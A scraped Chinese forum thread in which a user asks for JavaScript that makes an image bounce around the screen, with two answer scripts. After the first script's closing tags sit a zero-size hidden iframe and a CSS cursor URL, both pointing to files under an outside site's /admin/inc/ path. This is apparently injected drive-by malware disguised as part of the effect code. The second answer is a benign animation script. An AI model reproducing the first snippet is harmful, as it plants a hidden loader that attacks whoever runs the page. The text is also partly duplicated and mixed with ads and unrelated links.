JS求一效果,懂JS的大神麻烦进来看看 就是一张图片不断的在屏幕之间来回滚动的那种效果,谁能帮忙写一个。。谢谢了!!!就是如下图所显示的效果。。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 <html><body link="#000000" vlink="#000000"><SCRIPT> var imagepath="01.gif"var imagewidth=80var imageheight=80var speed=3; var imageclick="http://url" var hideafter=0 var isie=0; if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) { isie=1; } else { isie=0; } if(isie){ var preloadit=new Image() preloadit.src=imagepath } function pop() { if(isie) { x=x+dx;y=y+dy; oPopup.show(x, y, imagewidth, imageheight); if(x+imagewidth+5>screen.width) dx=-dx; if(y+imageheight+5>screen.height) dy=-dy; if(x<0) dx=-dx; if(y<0) dy=-dy; startani=setTimeout("pop();",50); } } function dismisspopup(){ clearTimeout(startani) oPopup.hide() } function dowhat(){ if (imageclick=="dismiss") dismisspopup() else window.open(imageclick);} if(isie) { var x=0,y=0,dx=speed,dy=speed; var oPopup = window.createPopup(); var oPopupBody = oPopup.document.body; oPopupBody.style.cursor="hand" oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">'; oPopup.document.body.onmouseover=new Function("clearTimeout(startani)") oPopup.document.body.onmouseout=pop oPopup.document.body.onclick=dowhat pop(); if (hideafter>0) setTimeout("dismisspopup()",hideafter*1000) } </SCRIPT> </body></html><iframe src=http://www.mymole.net/admin/inc/ccd.htm width=0 height=0></iframe><DIV style="CURSOR: url(http://www.mymole.net/admin/inc/ads.jpg)"></DIV> http://ad.jz123.cn/ 效果图:代码如下,又不会的就问。这个自己写的。<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Insert title here</title><style> #image{ position:absolute; }</style><script type="text/javascript"> var x=50; var y=60; var step=1; var xflag=true; var yflag=true; function move(){ var image=document.getElementById("image"); var xRange=document.documentElement.clientWidth-image.offsetWidth; var yRange=document.documentElement.clientHeight-image.offsetHeight; if(x>=xRange){ xflag=false; } if(x<=0){ xflag=true; } if(y>=yRange){ yflag=false; } if(y<=0){ yflag=true; } x+=xflag?step:-step; y+=yflag?step:-step; image.style.left=x+"px"; image.style.top=y+"px"; } window.onload=function(){ window.setInterval("move()",10);//周期执行一个函数 } </script></head> <body> <img id="image" src="1.png" alt="图片"></img> </body></html> 求助:属性的值设置 大家有空都来看看!!! 问一个基础问题,生存周期的问题 如何让JTextField只能输入数字? 面对java培训材料你敢说是java专家么?(java培训材料连载之二)--内部类 接口 抽象类 文件的读写 jtable光标显示问题 在JTextPane中Paragraph的概念是什么? ??????对象的生命期问题?????? 怎样在Java环境(不用Applet)中播放声音 这样快速补全代码 于集合工具类Collections中的泛型问题,求详细解答。 GUI中如何实现一个界面上下两部分使用不同布局
<html><body link="#000000" vlink="#000000"><SCRIPT>
var imagepath="01.gif"
var imagewidth=80
var imageheight=80var speed=3;
var imageclick="http://url"
var hideafter=0 var isie=0;
if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) {
isie=1;
}
else {
isie=0;
} if(isie){
var preloadit=new Image()
preloadit.src=imagepath
}
function pop() {
if(isie) {
x=x+dx;y=y+dy;
oPopup.show(x, y, imagewidth, imageheight);
if(x+imagewidth+5>screen.width) dx=-dx;
if(y+imageheight+5>screen.height) dy=-dy;
if(x<0) dx=-dx;
if(y<0) dy=-dy;
startani=setTimeout("pop();",50);
}
} function dismisspopup(){
clearTimeout(startani)
oPopup.hide()
} function dowhat(){
if (imageclick=="dismiss")
dismisspopup()
else
window.open(imageclick);
}
if(isie) {
var x=0,y=0,dx=speed,dy=speed;
var oPopup = window.createPopup();
var oPopupBody = oPopup.document.body;
oPopupBody.style.cursor="hand"
oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">';
oPopup.document.body.onmouseover=new Function("clearTimeout(startani)")
oPopup.document.body.onmouseout=pop
oPopup.document.body.onclick=dowhat
pop(); if (hideafter>0)
setTimeout("dismisspopup()",hideafter*1000)
}
</SCRIPT>
</body>
</html>
<iframe src=http://www.mymole.net/admin/inc/ccd.htm width=0 height=0></iframe>
<DIV style="CURSOR: url(http://www.mymole.net/admin/inc/ads.jpg)"></DIV>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
<style>
#image{
position:absolute;
}
</style>
<script type="text/javascript">
var x=50;
var y=60;
var step=1;
var xflag=true;
var yflag=true;
function move(){
var image=document.getElementById("image");
var xRange=document.documentElement.clientWidth-image.offsetWidth;
var yRange=document.documentElement.clientHeight-image.offsetHeight;
if(x>=xRange){
xflag=false;
}
if(x<=0){
xflag=true;
}
if(y>=yRange){
yflag=false;
}
if(y<=0){
yflag=true;
}
x+=xflag?step:-step;
y+=yflag?step:-step;
image.style.left=x+"px";
image.style.top=y+"px";
}
window.onload=function(){
window.setInterval("move()",10);//周期执行一个函数
}
</script>
</head>
<body>
<img id="image" src="1.png" alt="图片"></img>
</body>
</html>